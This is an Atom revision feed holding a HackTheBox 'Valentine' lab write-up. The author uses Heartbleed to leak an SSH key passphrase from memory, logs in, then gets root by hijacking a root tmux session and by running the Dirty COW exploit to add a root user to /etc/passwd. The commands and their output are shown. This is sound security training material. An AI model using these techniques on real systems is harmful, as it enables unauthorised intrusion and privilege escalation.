<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FValentine</id>
	<title>Write-ups/HTB/Valentine - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FValentine"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Valentine&amp;action=history"/>
	<updated>2026-04-21T15:22:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Valentine&amp;diff=1192&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 12:58, 22 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Valentine&amp;diff=1192&amp;oldid=prev"/>
		<updated>2022-02-22T12:58:44Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Valentine&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Heartbleed&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This linux box was vulnerable to heartbleed. In one of the subdirectories there was a encoded file, which when decoded gave us a SSH private key. Using heartbleed PoC I was able to extract the passphrase from memory and use that to ssh into the machine. To escalate my privileges there were two methods; using kernel exploit Drity Cow or opening an active tmux session which was running as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/valentine]&lt;br /&gt;
└─# nmap -p- -sC -sV --min-rate 10000 10.10.10.79 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-01 16:02 EST&lt;br /&gt;
Nmap scan report for 10.10.10.79&lt;br /&gt;
Host is up (0.066s latency).&lt;br /&gt;
Not shown: 65532 closed tcp ports (reset)&lt;br /&gt;
PORT    STATE SERVICE  VERSION&lt;br /&gt;
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)&lt;br /&gt;
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)&lt;br /&gt;
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)&lt;br /&gt;
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))&lt;br /&gt;
|_http-title: Site doesn&amp;#039;t have a title (text/html).&lt;br /&gt;
|_http-server-header: Apache/2.2.22 (Ubuntu)&lt;br /&gt;
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))&lt;br /&gt;
|_http-title: Site doesn&amp;#039;t have a title (text/html).&lt;br /&gt;
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US&lt;br /&gt;
| Not valid before: 2018-02-06T00:45:25&lt;br /&gt;
|_Not valid after:  2019-02-06T00:45:25&lt;br /&gt;
|_http-server-header: Apache/2.2.22 (Ubuntu)&lt;br /&gt;
|_ssl-date: 2022-02-01T21:05:07+00:00; +1m54s from scanner time.&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: 1m53s&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There were 3 ports open:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Port 22* Port 80 * Port 443&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On port 443 we can see that the domain for the SSL cert is &amp;#039;&amp;#039;&amp;#039;valentine.htb. &amp;#039;&amp;#039;&amp;#039;I added that to /etc/hosts.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I also ran a &amp;#039;&amp;#039;&amp;#039;nmap vuln scan&amp;#039;&amp;#039;&amp;#039; to see if there was any vulnerability we could abuse.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Heartbleed ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/valentine]&lt;br /&gt;
└─# nmap --script vuln valentine.htb -oN nmap.vuln                                                                                                       1 ⨯&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-01 16:27 EST&lt;br /&gt;
Pre-scan script results:&lt;br /&gt;
| broadcast-avahi-dos:&lt;br /&gt;
|   Discovered hosts:&lt;br /&gt;
|     224.0.0.251&lt;br /&gt;
|   After NULL UDP avahi packet DoS (CVE-2011-1002).&lt;br /&gt;
|_  Hosts are all up (not vulnerable).&lt;br /&gt;
Nmap scan report for valentine.htb (10.10.10.79)&lt;br /&gt;
Host is up (0.030s latency).&lt;br /&gt;
Not shown: 997 closed tcp ports (reset)&lt;br /&gt;
PORT    STATE SERVICE&lt;br /&gt;
22/tcp  open  ssh&lt;br /&gt;
80/tcp  open  http&lt;br /&gt;
|_http-csrf: Couldn&amp;#039;t find any CSRF vulnerabilities.&lt;br /&gt;
| http-enum:&lt;br /&gt;
|   /dev/: Potentially interesting directory w/ listing on &amp;#039;apache/2.2.22 (ubuntu)&amp;#039;&lt;br /&gt;
|_  /index/: Potentially interesting folder&lt;br /&gt;
|_http-stored-xss: Couldn&amp;#039;t find any stored XSS vulnerabilities.&lt;br /&gt;
|_http-dombased-xss: Couldn&amp;#039;t find any DOM based XSS.&lt;br /&gt;
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)&lt;br /&gt;
443/tcp open  https&lt;br /&gt;
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)&lt;br /&gt;
|_http-dombased-xss: Couldn&amp;#039;t find any DOM based XSS.&lt;br /&gt;
| ssl-poodle:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   SSL POODLE information leak&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     IDs:  CVE:CVE-2014-3566  BID:70574&lt;br /&gt;
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other&lt;br /&gt;
|           products, uses nondeterministic CBC padding, which makes it easier&lt;br /&gt;
|           for man-in-the-middle attackers to obtain cleartext data via a&lt;br /&gt;
|           padding-oracle attack, aka the &amp;quot;POODLE&amp;quot; issue.&lt;br /&gt;
|     Disclosure date: 2014-10-14&lt;br /&gt;
|     Check results:&lt;br /&gt;
|       TLS_RSA_WITH_AES_128_CBC_SHA&lt;br /&gt;
|     References:&lt;br /&gt;
|       https://www.imperialviolet.org/2014/10/14/poodle.html&lt;br /&gt;
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566&lt;br /&gt;
|       https://www.securityfocus.com/bid/70574&lt;br /&gt;
|_      https://www.openssl.org/~bodo/ssl-poodle.pdf&lt;br /&gt;
|_http-stored-xss: Couldn&amp;#039;t find any stored XSS vulnerabilities.&lt;br /&gt;
| http-enum:&lt;br /&gt;
|   /dev/: Potentially interesting directory w/ listing on &amp;#039;apache/2.2.22 (ubuntu)&amp;#039;&lt;br /&gt;
|_  /index/: Potentially interesting folder&lt;br /&gt;
| ssl-heartbleed:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     Risk factor: High&lt;br /&gt;
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.&lt;br /&gt;
|&lt;br /&gt;
|     References:&lt;br /&gt;
|       http://www.openssl.org/news/secadv_20140407.txt&lt;br /&gt;
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160&lt;br /&gt;
|_      http://cvedetails.com/cve/2014-0160/&lt;br /&gt;
| ssl-ccs-injection:&lt;br /&gt;
|   VULNERABLE:&lt;br /&gt;
|   SSL/TLS MITM vulnerability (CCS Injection)&lt;br /&gt;
|     State: VULNERABLE&lt;br /&gt;
|     Risk factor: High&lt;br /&gt;
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h&lt;br /&gt;
|       does not properly restrict processing of ChangeCipherSpec messages,&lt;br /&gt;
|       which allows man-in-the-middle attackers to trigger use of a zero&lt;br /&gt;
|       length master key in certain OpenSSL-to-OpenSSL communications, and&lt;br /&gt;
|       consequently hijack sessions or obtain sensitive information, via&lt;br /&gt;
|       a crafted TLS handshake, aka the &amp;quot;CCS Injection&amp;quot; vulnerability.&lt;br /&gt;
|&lt;br /&gt;
|     References:&lt;br /&gt;
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224&lt;br /&gt;
|       http://www.openssl.org/news/secadv_20140605.txt&lt;br /&gt;
|_      http://www.cvedetails.com/cve/2014-0224&lt;br /&gt;
|_http-csrf: Couldn&amp;#039;t find any CSRF vulnerabilities.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The SSL is vulnerable to heartbleed bug. &amp;#039;&amp;#039;The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running the PoC script I was able to dump the memory and get base64 encoded text, which when decoded gave us a string. &amp;#039;&amp;#039;&amp;#039;heartbleedbelievethehype&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/valentine/heartbleed-poc]&lt;br /&gt;
└─# python2 heartbleed-poc.py 10.10.10.79&lt;br /&gt;
Scanning 10.10.10.79 on port 443&lt;br /&gt;
Connecting...&lt;br /&gt;
Sending Client Hello...&lt;br /&gt;
Waiting for Server Hello...&lt;br /&gt;
 ... received message: type = 22, ver = 0302, length = 66&lt;br /&gt;
 ... received message: type = 22, ver = 0302, length = 885&lt;br /&gt;
 ... received message: type = 22, ver = 0302, length = 331&lt;br /&gt;
 ... received message: type = 22, ver = 0302, length = 4&lt;br /&gt;
Server TLS version was 1.2&lt;br /&gt;
&lt;br /&gt;
Sending heartbeat request...&lt;br /&gt;
 ... received message: type = 24, ver = 0302, length = 16384&lt;br /&gt;
Received heartbeat response:&lt;br /&gt;
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...&lt;br /&gt;
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......&lt;br /&gt;
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....&amp;quot;.&lt;br /&gt;
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.&lt;br /&gt;
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................&lt;br /&gt;
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.&lt;br /&gt;
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...&lt;br /&gt;
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............&lt;br /&gt;
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................&lt;br /&gt;
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.&lt;br /&gt;
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............&lt;br /&gt;
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................&lt;br /&gt;
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................&lt;br /&gt;
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E  ....#.......0.0.&lt;br /&gt;
  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co&lt;br /&gt;
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl&lt;br /&gt;
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo&lt;br /&gt;
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C&lt;br /&gt;
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4&lt;br /&gt;
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc&lt;br /&gt;
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld&lt;br /&gt;
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D E9  mV0aGVoeXBlCg==.&lt;br /&gt;
  0160: 66 98 67 2F C4 6A 8A 0E 49 7B 1A 1F 23 50 92 21  f.g/.j..I{..#P.!&lt;br /&gt;
  0170: 44 F9 B6 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  D...............&lt;br /&gt;
  0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ...............&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerate subdirectories ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lets look at the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-16.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nothing to intersting going on here. I&amp;#039;ll do a gobuster dir brute force to see if I find anything interesting.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/valentine]&lt;br /&gt;
└─# gobuster dir -u http://10.10.10.79 -w /usr/share/wordlists/dirb/big.txt -k                                                                           1 ⨯&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.79&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt&lt;br /&gt;
[+] Negative Status codes:   404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/02/22 07:41:44 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/.htpasswd            (Status: 403) [Size: 288]&lt;br /&gt;
/.htaccess            (Status: 403) [Size: 288]&lt;br /&gt;
/cgi-bin/             (Status: 403) [Size: 287]&lt;br /&gt;
/decode               (Status: 200) [Size: 552]&lt;br /&gt;
/dev                  (Status: 301) [Size: 308] [--&amp;gt; http://10.10.10.79/dev/]&lt;br /&gt;
/encode               (Status: 200) [Size: 554]&lt;br /&gt;
/index                (Status: 200) [Size: 38]&lt;br /&gt;
/server-status        (Status: 403) [Size: 292]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at &amp;#039;&amp;#039;&amp;#039;/dev &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220201220519.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There was a note, and a file called &amp;#039;&amp;#039;&amp;#039;hype_key. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The note said:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To do:&lt;br /&gt;
&lt;br /&gt;
1) Coffee.&lt;br /&gt;
2) Research.&lt;br /&gt;
3) Fix decoder/encoder before going live.&lt;br /&gt;
4) Make sure encoding/decoding is only done client-side.&lt;br /&gt;
5) Don&amp;#039;t use the decoder/encoder until any of this is done.&lt;br /&gt;
6) Find a better way to take notes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And the hype_key:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-17.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Decode using hex to string.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220201221109.png|thumb|This is a SSH private key.]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as hype ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A quick recap:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* We was able to get a string, which probably is the passphrase for the ssh key. * We have a ssh private key* The name of the key was hype_key, we assume that the username is hype.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So I&amp;#039;ll try to ssh into hype using the pirvate key. Dont forget to set permissions to 600 for the private key, otherwise it wont work.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/valentine]&lt;br /&gt;
└─# ssh -i id_rsa hype@10.10.10.79&lt;br /&gt;
Enter passphrase for key &amp;#039;id_rsa&amp;#039;:&lt;br /&gt;
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)&lt;br /&gt;
&lt;br /&gt;
 * Documentation:  https://help.ubuntu.com/&lt;br /&gt;
&lt;br /&gt;
New release &amp;#039;14.04.5 LTS&amp;#039; available.&lt;br /&gt;
Run &amp;#039;do-release-upgrade&amp;#039; to upgrade to it.&lt;br /&gt;
&lt;br /&gt;
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3&lt;br /&gt;
hype@Valentine:~$ whoami&lt;br /&gt;
hype&lt;br /&gt;
hype@Valentine:~$&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After running linpeas.sh I discovered that there are two ways to privilege escalate on this machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* There is a running tmux session with root* The kernel is vulnerable to dirty cow&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Method 1 - tmux ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220222122144.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a tmux session running as root and a session file in &amp;#039;&amp;#039;&amp;#039;/.devs/.&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running the command from the output I&amp;#039;ll open the tmux session and have root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hype@Valentine:/tmp$ /usr/bin/tmux -S /.devs/dev_sess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220222122237.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Method 2 - Dirty Cow ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;quot;&amp;#039;&amp;#039;A [https://en.wikipedia.org/wiki/Race_condition race condition] was found in the way the Linux kernel&amp;#039;s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.&amp;#039;&amp;#039;&amp;quot; ([https://bugzilla.redhat.com/show_bug.cgi?id=1384344# RH])&lt;br /&gt;
https://dirtycow.ninja/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From linpeas we can also see that it is vulnerable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220222122119.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use this script from searchsploit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Linux Kernel 2.6.22 &amp;lt; 3.9 - &amp;#039;Dirty COW PTRACE_POKEDATA&amp;#039; Race Condition (Write Access Method)                               | linux/local/40838.c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll transfer the C script over to the target machine and compile it with the command in the script.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hype@Valentine:/tmp$ gcc -pthread dirt.c -o dirty -lcrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running the script it asks us to type in a password. What the script does is it inserts a new user in passwd with root permissions. When running the script I&amp;#039;ll have a user called &amp;#039;&amp;#039;&amp;#039;firefart&amp;#039;&amp;#039;&amp;#039; with root permissions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
hype@Valentine:/tmp$ ./dirty&lt;br /&gt;
/etc/passwd successfully backed up to /tmp/passwd.bak&lt;br /&gt;
Please enter the new password:&lt;br /&gt;
Complete line:&lt;br /&gt;
firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash&lt;br /&gt;
&lt;br /&gt;
mmap: 7f5f78199000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
hype@Valentine:/tmp$ su firefart&lt;br /&gt;
Password:&lt;br /&gt;
firefart@Valentine:/tmp# id&lt;br /&gt;
uid=0(firefart) gid=0(root) groups=0(root)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The vulnerability in OpenSSL leaked sensitive information, in this case, the passphrase for the ssh private key. * Since the user had a tmux session running as root, I was able to hijack the session and get root access to the machine. * Not patching kernel, could allow for privilege escalation. However in a real world pentest, one should be careful with kernel exploits as they tend to crash the machine or even make the irreversable. So check before executing.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>